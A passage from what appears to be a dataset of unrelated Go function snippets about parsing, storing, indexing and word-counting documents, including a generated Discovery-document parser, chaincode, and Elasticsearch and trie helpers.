message))\n\t\t\t}\n\t\t}\n\t\t// string discovery_version = 2;\n\t\tv2 := compiler.MapValueForKey(m, \"discoveryVersion\")\n\t\tif v2 != nil {\n\t\t\tx.DiscoveryVersion, ok = compiler.StringForScalarNode(v2)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for discoveryVersion: %s\", compiler.Display(v2))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string id = 3;\n\t\tv3 := compiler.MapValueForKey(m, \"id\")\n\t\tif v3 != nil {\n\t\t\tx.Id, ok = compiler.StringForScalarNode(v3)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for id: %s\", compiler.Display(v3))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string name = 4;\n\t\tv4 := compiler.MapValueForKey(m, \"name\")\n\t\tif v4 != nil {\n\t\t\tx.Name, ok = compiler.StringForScalarNode(v4)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for name: %s\", compiler.Display(v4))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string version = 5;\n\t\tv5 := compiler.MapValueForKey(m, \"version\")\n\t\tif v5 != nil {\n\t\t\tx.Version, ok = compiler.StringForScalarNode(v5)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for version: %s\", compiler.Display(v5))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string revision = 6;\n\t\tv6 := compiler.MapValueForKey(m, \"revision\")\n\t\tif v6 != nil {\n\t\t\tx.Revision, ok = compiler.StringForScalarNode(v6)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for revision: %s\", compiler.Display(v6))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string title = 7;\n\t\tv7 := compiler.MapValueForKey(m, \"title\")\n\t\tif v7 != nil {\n\t\t\tx.Title, ok = compiler.StringForScalarNode(v7)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for title: %s\", compiler.Display(v7))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string description = 8;\n\t\tv8 := compiler.MapValueForKey(m, \"description\")\n\t\tif v8 != nil {\n\t\t\tx.Description, ok = compiler.StringForScalarNode(v8)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for description: %s\", compiler.Display(v8))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Icons icons = 9;\n\t\tv9 := compiler.MapValueForKey(m, \"icons\")\n\t\tif v9 != nil {\n\t\t\tvar err error\n\t\t\tx.Icons, err = NewIcons(v9, compiler.NewContext(\"icons\", v9, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// string documentation_link = 10;\n\t\tv10 := compiler.MapValueForKey(m, \"documentationLink\")\n\t\tif v10 != nil {\n\t\t\tx.DocumentationLink, ok = compiler.StringForScalarNode(v10)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for documentationLink: %s\", compiler.Display(v10))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// repeated string labels = 11;\n\t\tv11 := compiler.MapValueForKey(m, \"labels\")\n\t\tif v11 != nil {\n\t\t\tv, ok := compiler.SequenceNodeForNode(v11)\n\t\t\tif ok {\n\t\t\t\tx.Labels = compiler.StringArrayForSequenceNode(v)\n\t\t\t} else {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for labels: %s\", compiler.Display(v11))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string protocol = 12;\n\t\tv12 := compiler.MapValueForKey(m, \"protocol\")\n\t\tif v12 != nil {\n\t\t\tx.Protocol, ok = compiler.StringForScalarNode(v12)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for protocol: %s\", compiler.Display(v12))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string base_url = 13;\n\t\tv13 := compiler.MapValueForKey(m, \"baseUrl\")\n\t\tif v13 != nil {\n\t\t\tx.BaseUrl, ok = compiler.StringForScalarNode(v13)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for baseUrl: %s\", compiler.Display(v13))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string base_path = 14;\n\t\tv14 := compiler.MapValueForKey(m, \"basePath\")\n\t\tif v14 != nil {\n\t\t\tx.BasePath, ok = compiler.StringForScalarNode(v14)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for basePath: %s\", compiler.Display(v14))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string root_url = 15;\n\t\tv15 := compiler.MapValueForKey(m, \"rootUrl\")\n\t\tif v15 != nil {\n\t\t\tx.RootUrl, ok = compiler.StringForScalarNode(v15)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for rootUrl: %s\", compiler.Display(v15))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string service_path = 16;\n\t\tv16 := compiler.MapValueForKey(m, \"servicePath\")\n\t\tif v16 != nil {\n\t\t\tx.ServicePath, ok = compiler.StringForScalarNode(v16)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for servicePath: %s\", compiler.Display(v16))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string batch_path = 17;\n\t\tv17 := compiler.MapValueForKey(m, \"batchPath\")\n\t\tif v17 != nil {\n\t\t\tx.BatchPath, ok = compiler.StringForScalarNode(v17)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for batchPath: %s\", compiler.Display(v17))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Parameters parameters = 18;\n\t\tv18 := compiler.MapValueForKey(m, \"parameters\")\n\t\tif v18 != nil {\n\t\t\tvar err error\n\t\t\tx.Parameters, err = NewParameters(v18, compiler.NewContext(\"parameters\", v18, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Auth auth = 19;\n\t\tv19 := compiler.MapValueForKey(m, \"auth\")\n\t\tif v19 != nil {\n\t\t\tvar err error\n\t\t\tx.Auth, err = NewAuth(v19, compiler.NewContext(\"auth\", v19, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// repeated string features = 20;\n\t\tv20 := compiler.MapValueForKey(m, \"features\")\n\t\tif v20 != nil {\n\t\t\tv, ok := compiler.SequenceNodeForNode(v20)\n\t\t\tif ok {\n\t\t\t\tx.Features = compiler.StringArrayForSequenceNode(v)\n\t\t\t} else {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for features: %s\", compiler.Display(v20))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// Schemas schemas = 21;\n\t\tv21 := compiler.MapValueForKey(m, \"schemas\")\n\t\tif v21 != nil {\n\t\t\tvar err error\n\t\t\tx.Schemas, err = NewSchemas(v21, compiler.NewContext(\"schemas\", v21, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Methods methods = 22;\n\t\tv22 := compiler.MapValueForKey(m, \"methods\")\n\t\tif v22 != nil {\n\t\t\tvar err error\n\t\t\tx.Methods, err = NewMethods(v22, compiler.NewContext(\"methods\", v22, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// Resources resources = 23;\n\t\tv23 := compiler.MapValueForKey(m, \"resources\")\n\t\tif v23 != nil {\n\t\t\tvar err error\n\t\t\tx.Resources, err = NewResources(v23, compiler.NewContext(\"resources\", v23, context))\n\t\t\tif err != nil {\n\t\t\t\terrors = append(errors, err)\n\t\t\t}\n\t\t}\n\t\t// string etag = 24;\n\t\tv24 := compiler.MapValueForKey(m, \"etag\")\n\t\tif v24 != nil {\n\t\t\tx.Etag, ok = compiler.StringForScalarNode(v24)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for etag: %s\", compiler.Display(v24))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string owner_domain = 25;\n\t\tv25 := compiler.MapValueForKey(m, \"ownerDomain\")\n\t\tif v25 != nil {\n\t\t\tx.OwnerDomain, ok = compiler.StringForScalarNode(v25)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for ownerDomain: %s\", compiler.Display(v25))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string owner_name = 26;\n\t\tv26 := compiler.MapValueForKey(m, \"ownerName\")\n\t\tif v26 != nil {\n\t\t\tx.OwnerName, ok = compiler.StringForScalarNode(v26)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for ownerName: %s\", compiler.Display(v26))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// bool version_module = 27;\n\t\tv27 := compiler.MapValueForKey(m, \"version_module\")\n\t\tif v27 != nil {\n\t\t\tx.VersionModule, ok = compiler.BoolForScalarNode(v27)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for version_module: %s\", compiler.Display(v27))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string canonical_name = 28;\n\t\tv28 := compiler.MapValueForKey(m, \"canonicalName\")\n\t\tif v28 != nil {\n\t\t\tx.CanonicalName, ok = compiler.StringForScalarNode(v28)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for canonicalName: %s\", compiler.Display(v28))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// bool fully_encode_reserved_expansion = 29;\n\t\tv29 := compiler.MapValueForKey(m, \"fullyEncodeReservedExpansion\")\n\t\tif v29 != nil {\n\t\t\tx.FullyEncodeReservedExpansion, ok = compiler.BoolForScalarNode(v29)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for fullyEncodeReservedExpansion: %s\", compiler.Display(v29))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string package_path = 30;\n\t\tv30 := compiler.MapValueForKey(m, \"packagePath\")\n\t\tif v30 != nil {\n\t\t\tx.PackagePath, ok = compiler.StringForScalarNode(v30)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for packagePath: %s\", compiler.Display(v30))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t\t// string mtls_root_url = 31;\n\t\tv31 := compiler.MapValueForKey(m, \"mtlsRootUrl\")\n\t\tif v31 != nil {\n\t\t\tx.MtlsRootUrl, ok = compiler.StringForScalarNode(v31)\n\t\t\tif !ok {\n\t\t\t\tmessage := fmt.Sprintf(\"has unexpected value for mtlsRootUrl: %s\", compiler.Display(v31))\n\t\t\t\terrors = append(errors, compiler.NewError(context, message))\n\t\t\t}\n\t\t}\n\t}\n\treturn x, compiler.NewErrorGroupOrNil(errors)\n}","func NewDocument(record interface{}, readonly ...bool) *Document {\n\tswitch v := record.(type) {\n\tcase *Document:\n\t\treturn v\n\tcase reflect.Value:\n\t\treturn newDocument(v.Interface(), v, len(readonly) > 0 && readonly[0])\n\tcase reflect.Type:\n\t\tpanic(\"rel: cannot use reflect.Type\")\n\tcase nil:\n\t\tpanic(\"rel: cannot be nil\")\n\tdefault:\n\t\treturn newDocument(v, reflect.ValueOf(v), len(readonly) > 0 && readonly[0])\n\t}\n}","func NewDocument(url, site, title, content string) *Document {\n\tdoc := new(Document)\n\tdoc.DocID = uuid.NewV4().String()\n\tdoc.Url = url\n\tdoc.Site = site\n\tdoc.Title = title\n\tdoc.Content = content\n\n\treturn doc\n}","func InitDocument(r io.Reader) *Document {\n\tdoc := new(Document)\n\tdoc.r = r\n\n\treturn doc\n}","func (t *OpetCode) createDocument(APIstub shim.ChaincodeStubInterface, args []string) sc.Response {\n if len(args) != 3 {\n return shim.Error(\"Incorrect number of arguments. Expecting 3\")\n }\n\n user_uid := args[0]\n uid := args[1]\n json_props := args[2]\n doc_key, _ := APIstub.CreateCompositeKey(uid, []string{DOCUMENT_KEY})\n user_key, _ := APIstub.CreateCompositeKey(user_uid, []string{USER_KEY})\n\n if _, err := t.loadDocument(APIstub, doc_key); err == nil {\n return shim.Error(\"Document already exists\")\n }\n\n user, err := t.loadUser(APIstub, user_key)\n if err != nil {\n return shim.Error(fmt.Sprintf(\"The %s user doesn't not exist\", user_uid))\n }\n user.Documents = append(user.Documents, uid)\n\n\n new_doc := new(Document)\n new_doc.Data = make(map[string]interface{})\n err = json.Unmarshal([]byte(json_props), &new_doc.Data)\n if err != nil {\n return shim.Error(\"Can't parse json props\")\n }\n\n new_doc_json, _ := json.Marshal(new_doc)\n APIstub.PutState(doc_key, new_doc_json)\n\n user_json, _ := json.Marshal(user)\n APIstub.PutState(user_key, user_json)\n\n return shim.Success(nil)\n}","func (s *DocumentStore) CreateDocument(ctx context.Context, d *influxdb.Document) error {\n\treturn s.service.kv.Update(ctx, func(tx Tx) error {\n\t\t// Check that labels exist before creating the document.\n\t\t// Mapping creation would check for that, but cannot anticipate that until we\n\t\t// have a valid document ID.\n\t\tfor _, l := range d.Labels {\n\t\t\tif _, err := s.service.findLabelByID(ctx, tx, l.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\terr := s.service.createDocument(ctx, tx, s.namespace, d)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tfor orgID := range d.Organizations {\n\t\t\tif err := s.service.addDocumentOwner(ctx, tx, orgID, d.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\n\t\tfor _, l := range d.Labels {\n\t\t\tif err := s.addDocumentLabelMapping(ctx, tx, d.ID, l.ID); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t})\n}","func incrementUnigramWrd(dictionary map[string][]TagFrequency, word string, tag string) {\n\t// dictionary is the map used for unigram word count/frequency\n\t// it is a key->slice of TagFrequency objects\n\tif dictionary[word] != nil {\n\t\tfor i := 0; i < len(dictionary[word]); i++ {\n\t\t\tif tag == dictionary[word][i].tag {\n\t\t\t\tdictionary[word][i].freq++\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\t\tdictionary[word] = append(dictionary[word], TagFrequency{tag, 1})\n\t\treturn\n\t} else {\n\t\tdictionary[word] = append(dictionary[word], TagFrequency{tag, 1})\n\t\treturn\n\t}\n}","func (d *docGenerator) generateDocs(api API) error {\n\tdir := api.Configuration().DocsDirectory\n\tif !strings.HasSuffix(dir, \"/\") {\n\t\tdir = dir + \"/\"\n\t}\n\n\tif err := d.mkdir(dir, os.FileMode(0777)); err != nil {\n\t\tapi.Configuration().Logger.Println(err)\n\t\treturn err\n\t}\n\n\thandlers := api.ResourceHandlers()\n\tdocs := map[string][]handlerDoc{}\n\tversions := versions(handlers)\n\n\tfor _, version := range versions {\n\t\tversionDocs := make([]handlerDoc, 0, len(handlers))\n\t\tfor _, handler := range handlers {\n\t\t\tdoc, err := d.generateHandlerDoc(handler, version, dir)\n\t\t\tif err != nil {\n\t\t\t\tapi.Configuration().Logger.Println(err)\n\t\t\t\treturn err\n\t\t\t} else if doc != nil {\n\t\t\t\tversionDocs = append(versionDocs, doc)\n\t\t\t}\n\t\t}\n\n\t\tdocs[version] = versionDocs\n\t}\n\n\tif err := d.generateIndexDocs(docs, versions, dir); err != nil {\n\t\tapi.Configuration().Logger.Println(err)\n\t\treturn err\n\t}\n\n\tapi.Configuration().Debugf(\"Documentation generated in %s\", dir)\n\treturn nil\n}","func ParseDocument(data []byte) (*Doc, error) {\n\t// validate did document\n\tif err := validate(data); err != nil {\n\t\treturn nil, err\n\t}\n\n\traw := &rawDoc{}\n\n\terr := json.Unmarshal(data, &raw)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"JSON marshalling of did doc bytes bytes failed: %w\", err)\n\t}\n\n\tpublicKeys, err := populatePublicKeys(raw.PublicKey)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate public keys failed: %w\", err)\n\t}\n\n\tauthPKs, err := populateAuthentications(raw.Authentication, publicKeys)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate authentications failed: %w\", err)\n\t}\n\n\tproofs, err := populateProofs(raw.Proof)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"populate proofs failed: %w\", err)\n\t}\n\n\treturn &Doc{Context: raw.Context,\n\t\tID: raw.ID,\n\t\tPublicKey: publicKeys,\n\t\tService: populateServices(raw.Service),\n\t\tAuthentication: authPKs,\n\t\tCreated: raw.Created,\n\t\tUpdated: raw.Updated,\n\t\tProof: proofs,\n\t}, nil\n}","func (api DocumentAPI) Post(w http.ResponseWriter, r *http.Request) {\n\tcreateDocument(uuid.New().String(), w, r)\n}","func IndexizeWord(w string) string {\n\treturn strings.TrimSpace(strings.ToLower(w))\n}","func getDocument(ktype string, kid string) (doc map[string]interface{}, handled bool, err error) {\n discoKey := fmt.Sprintf(\"%s:%s\", ktype, kid)\n \n if _, handled = discoDone[discoKey]; handled {\n return\n }\n\n res, err := http.Post(\n fmt.Sprintf(\"http://%s:%s/elasticsearch/_mget\", flagHost, strconv.Itoa(flagPort)),\n \"application/json\",\n bytes.NewBufferString(fmt.Sprintf(\"{\\\"docs\\\":[{\\\"_index\\\":\\\".kibana\\\",\\\"_type\\\":\\\"%s\\\",\\\"_id\\\":\\\"%s\\\"}]}\", ktype, kid)),\n )\n\n if err != nil {\n return\n }\n\n defer res.Body.Close()\n body, err := ioutil.ReadAll(res.Body)\n\n if err != nil {\n return\n }\n\n var data map[string]interface{}\n\n err = json.Unmarshal(body, &data)\n\n if err != nil {\n return\n }\n\n docpath := data[\"docs\"].([]interface{})[0].(map[string]interface{})\n \n if true != docpath[\"found\"].(bool) {\n err = errors.New(fmt.Sprintf(\"Failed to find %s %s\", ktype, kid))\n \n return\n }\n \n doc = docpath[\"_source\"].(map[string]interface{})\n \n discoDone[discoKey] = true\n\n return\n}","func wordcountcomment(x geddit.Comment, words map[string]SubsWordData) {\n\t//prepare vars\n\tsubstrs := strings.Fields(x.Body)\n\ttmpdata := SubsWordData{}\n\ttmpUser := UserData{}\n\t//regex to remove trailing and leading punctuation\n\treg, err := regexp.Compile(`[^0-9a-zA-Z-]`)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\t//log user information\n\ttmpUser, uexists := usermap[x.Author]\n\n\t//if no user exists\n\tif !uexists {\n\n\t\ttmpUser = UserData{\n\t\t\tUser: x.Author,\n\t\t\tWords: make(map[string]SubsWordData),\n\t\t}\n\n\t}\n\n\t//range through individual words\n\tfor _, word := range substrs {\n\t\t//remove anything but alphanumeric\n\t\tword = reg.ReplaceAllString(word, \"\")\n\t\t//get rid of words like \"I\"\n\t\tif len(word) > 1 {\n\t\t\t//determine if word is stopword\n\t\t\tif _, stopped := stopwords[word]; !stopped {\n\n\t\t\t\ttmpdata = SubsWordData{}\n\t\t\t\t_, ok := words[strings.ToLower(word)]\n\n\t\t\t\tif ok == true {\n\t\t\t\t\t//if that worddata exists in the map\n\t\t\t\t\ttmpdata = words[word]\n\n\t\t\t\t\ttmpdata.Avgscore = ((tmpdata.Avgscore * tmpdata.Numoccur) + x.UpVotes) / (tmpdata.Numoccur + 1)\n\t\t\t\t\ttmpdata.Numoccur += 1\n\t\t\t\t\ttmpdata.Heur += x.UpVotes\n\t\t\t\t\t// tmpdata.TimePassed =\n\n\t\t\t\t} else {\n\t\t\t\t\t//if no worddata exists\n\t\t\t\t\ttmpdata = SubsWordData{\n\t\t\t\t\t\tWord: strings.ToLower(word),\n\t\t\t\t\t\tNumoccur: 1,\n\t\t\t\t\t\tAvgscore: x.UpVotes,\n\t\t\t\t\t\tHeur: x.UpVotes,\n\t\t\t\t\t}\n\n\t\t\t\t} //endelse\n\n\t\t\t\t//add word to map\n\t\t\t\twords[word] = tmpdata\n\n\t\t\t\t//empty word data for user\n\t\t\t\ttmpword := SubsWordData{}\n\n\t\t\t\tif userword, wordexists := tmpUser.Words[word]; wordexists {\n\t\t\t\t\t//check if data exists for author, if so update\n\t\t\t\t\ttmpword.Avgscore = ((userword.Avgscore * userword.Numoccur) + x.UpVotes) / (userword.Numoccur + 1)\n\t\t\t\t\ttmpword.Numoccur += 1\n\t\t\t\t\ttmpword.Heur += x.UpVotes\n\n\t\t\t\t} else {\n\t\t\t\t\t//create the data for the word\n\t\t\t\t\ttmpword.Avgscore = x.UpVotes\n\t\t\t\t\ttmpword.Numoccur = 1\n\t\t\t\t\ttmpword.Heur = x.UpVotes\n\t\t\t\t}\n\n\t\t\t\t//update word in user's word map\n\t\t\t\ttmpUser.Words[word] = tmpword\n\t\t\t\t// fmt.Println(tmpword)\n\n\t\t\t}\n\t\t}\n\n\t}\n\t//update user in global usermap\n\ttmpUser.Subs = append(tmpUser.Subs, x.Subreddit)\n\tusermap[x.Author] = tmpUser\n\n}","func addWord(words map[string]int) {\n\n\treader := r.NewReader(os.Stdin)\n\n\t// Get a kewyowrd\n\tf.Println(\"Give a word:\")\n\tf.Println(\"Warning, giving a prexisting word will update the value\")\n\ttext, err := reader.ReadString('\\n')\n\n\t// Hate this repetitious if err return\n\tif err != nil {\n\t\tf.Println(err)\n\t\treturn\n\t}\n\n\tkey := ss.Replace(text, \"\\n\", \"\", -1)\n\tf.Printf(\"[%q] recieved...\\n\", key)\n\n\t// Get a value\n\tval := getVal(words)\n\tif val == 0 {\n\t\treturn\n\t}\n\n\t// Maps are always passed by reference conveniently\n\twords[key] = val\n\n}","func PutDoc(c *gin.Context) {\n\tvar doc Document\n\tstore := c.MustGet(\"store\").(*Store)\n\ttxn, have_txn := c.Get(\"NewRelicTransaction\")\n\tkey := c.Param(\"key\")\n\n\terr := c.ShouldBindJSON(&doc)\n\tif err != nil {\n\t\tif have_txn {\n\t\t\ttxn.(newrelic.Transaction).NoticeError(err)\n\t\t}\n\t\tc.JSON(http.StatusUnprocessableEntity, \"\")\n\t\treturn\n\t}\n\n\tstore.Set(key, doc)\n\tc.JSON(http.StatusNoContent, nil)\n}","func applyID(doc document.Document, id string) document.Document {\n\t// apply id to document\n\tdoc[\"id\"] = id\n\n\treturn doc\n}","func (p *Parser) ParseDocument(doc string, quote bool) ([]*basically.Sentence, []*basically.Token, error) {\n\tsents := p.sentTokenizer.Segment(doc)\n\tretSents := make([]*basically.Sentence, 0, len(sents))\n\tretTokens := make([]*basically.Token, 0, len(sents)*15)\n\n\ttokCounter := 0\n\tfor idx, sent := range sents {\n\t\ttokens := p.wordTokenizer.Tokenize(sent.Text)\n\t\ttokens = p.tagger.Tag(tokens)\n\n\t\t// Convert struct from []*prose.Token to []*basically.Token.\n\t\tbtokens := make([]*basically.Token, 0, len(tokens))\n\t\tfor _, tok := range tokens {\n\t\t\tbtok := basically.Token{Tag: tok.Tag, Text: strings.ToLower(tok.Text), Order: tokCounter}\n\t\t\tbtokens = append(btokens, &btok)\n\t\t\ttokCounter++\n\t\t}\n\n\t\t// Analyzes sentence sentiment.\n\t\tsentiment := p.analyzer.PolarityScores(sent.Text).Compound\n\n\t\tretSents = append(retSents, &basically.Sentence{\n\t\t\tRaw: sent.Text,\n\t\t\tTokens: btokens,\n\t\t\tSentiment: sentiment,\n\t\t\tBias: 1.0,\n\t\t\tOrder: idx,\n\t\t})\n\n\t\tretTokens = append(retTokens, btokens...)\n\t}\n\n\treturn retSents, retTokens, nil\n}","func computeDoc(bpkg *build.Package) (*doc.Package, error) {\n\tfset := token.NewFileSet()\n\tfiles := make(map[string]*ast.File)\n\tfor _, file := range append(bpkg.GoFiles, bpkg.CgoFiles...) {\n\t\tf, err := parser.ParseFile(fset, filepath.Join(bpkg.Dir, file), nil, parser.ParseComments)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t\tfiles[file] = f\n\t}\n\tapkg := &ast.Package{\n\t\tName: bpkg.Name,\n\t\tFiles: files,\n\t}\n\treturn doc.New(apkg, bpkg.ImportPath, 0), nil\n}","func (this *WordDictionary) AddWord(word string) {\n\tp := &this.root\n\tfor i := 0; i < len(word); i++ {\n\t\tj := word[i] - 'a'\n\t\tif p.children[j] == nil {\n\t\t\tp.children[j] = new(trieNode)\n\t\t}\n\t\tp = p.children[j]\n\t}\n\tp.exist = true\n}","func (t *TrigramIndex) Delete(doc string, docID int) {\n\ttrigrams := ExtractStringToTrigram(doc)\n\tfor _, tg := range trigrams {\n\t\tif obj, exist := t.TrigramMap[tg]; exist {\n\t\t\tif freq, docExist := obj.Freq[docID]; docExist && freq > 1 {\n\t\t\t\tobj.Freq[docID] = obj.Freq[docID] - 1\n\t\t\t} else {\n\t\t\t\t//need remove trigram from such docID\n\t\t\t\tdelete(obj.Freq, docID)\n\t\t\t\tdelete(obj.DocIDs, docID)\n\t\t\t}\n\n\t\t\tif len(obj.DocIDs) == 0 {\n\t\t\t\t//this object become empty remove this.\n\t\t\t\tdelete(t.TrigramMap, tg)\n\t\t\t\t//TODO check if some doc id has no tg remove\n\t\t\t} else {\n\t\t\t\t//update back since there still other doc id exist\n\t\t\t\tt.TrigramMap[tg] = obj\n\t\t\t}\n\t\t} else {\n\t\t\t//trigram not exist in map, leave\n\t\t\treturn\n\t\t}\n\t}\n}","func writeDocumentInfoDict(ctx *Context) error {\n\n\tlog.Write.Printf(\"*** writeDocumentInfoDict begin: offset=%d ***\\n\", ctx.Write.Offset)\n\n\t// Note: The document info object is optional but pdfcpu ensures one.\n\n\tif ctx.Info == nil {\n\t\tlog.Write.Printf(\"writeDocumentInfoObject end: No info object present, offset=%d\\n\", ctx.Write.Offset)\n\t\treturn nil\n\t}\n\n\tlog.Write.Printf(\"writeDocumentInfoObject: %s\\n\", *ctx.Info)\n\n\to := *ctx.Info\n\n\td, err := ctx.DereferenceDict(o)\n\tif err != nil || d == nil {\n\t\treturn err\n\t}\n\n\t_, _, err = writeDeepObject(ctx, o)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlog.Write.Printf(\"*** writeDocumentInfoDict end: offset=%d ***\\n\", ctx.Write.Offset)\n\n\treturn nil\n}","func (w *Writer) SoftUpdateDocument(term *Term, doc *document.Document, softDeletes ...*document.Field) (int64, error) {\n\tupdates, err := w.buildDocValuesUpdate(term, softDeletes)\n\tif err != nil {\n\t\treturn 0, err\n\t}\n\tvar delNode *Node\n\tif term != nil {\n\t\tdelNode = deleteQueueNewNodeDocValuesUpdates(updates)\n\t}\n\treturn w.updateDocuments(delNode, []*document.Document{doc})\n}","func (c *Client) Index(d Document, extraArgs url.Values) (*Response, error) {\n\tr := Request{\n\t\tQuery: d.Fields,\n\t\tIndexList: []string{d.Index.(string)},\n\t\tTypeList: []string{d.Type},\n\t\tExtraArgs: extraArgs,\n\t\tMethod: \"POST\",\n\t}\n\n\tif d.ID != nil {\n\t\tr.Method = \"PUT\"\n\t\tr.ID = d.ID.(string)\n\t}\n\n\treturn c.Do(&r)\n}","func saveDocument(key string, c *gin.Context) *ResponseType {\n\tfilePath := dataDir + \"/\" + key\n\tfi, err := os.Stat(filePath)\n\tif err == nil && fi.Size() > 0 {\n\t\treturn newErrorResp(key, \"file exists\", fmt.Errorf(\"file already exists for key %s\", key))\n\t}\n\tf, err := os.Create(filePath)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file creation error\", fmt.Errorf(\"error creating file for key %s: %s\", key, err.Error()))\n\t}\n\tdefer f.Close()\n\t_, err = io.Copy(f, c.Request.Body)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file write error\", fmt.Errorf(\"error copying body to file for key %s: %s\", key, err.Error()))\n\t}\n\tname := c.Request.FormValue(\"name\")\n\tcontentType := c.Request.Header.Get(\"Content-Type\")\n\textractor := c.Request.FormValue(\"extractor\")\n\ttitle := c.Request.FormValue(\"dc:title\")\n\tcreation := c.Request.FormValue(\"dcterms:created\")\n\tmodification := c.Request.FormValue(\"dcterms:modified\")\n\tmetadata := DocMetadata{\n\t\tTimestamp: time.Now().Unix(),\n\t\tName: name,\n\t\tContentType: contentType,\n\t\tExtractor: extractor,\n\t\tTitle: title,\n\t\tCreationDate: creation,\n\t\tModificationDate: modification,\n\t}\n\terr = saveMetadata(key, &metadata)\n\tif err != nil {\n\t\treturn newErrorResp(key, \"file metadata write error\", fmt.Errorf(\"error saving metadata for key %s: %s\", key, err.Error()))\n\t}\n\treturn newSuccessResp(key, \"document saved\")\n}","func (idiom *Idiom) ExtractIndexableWords() (w []string, wTitle []string, wLead []string) {\n\tw = 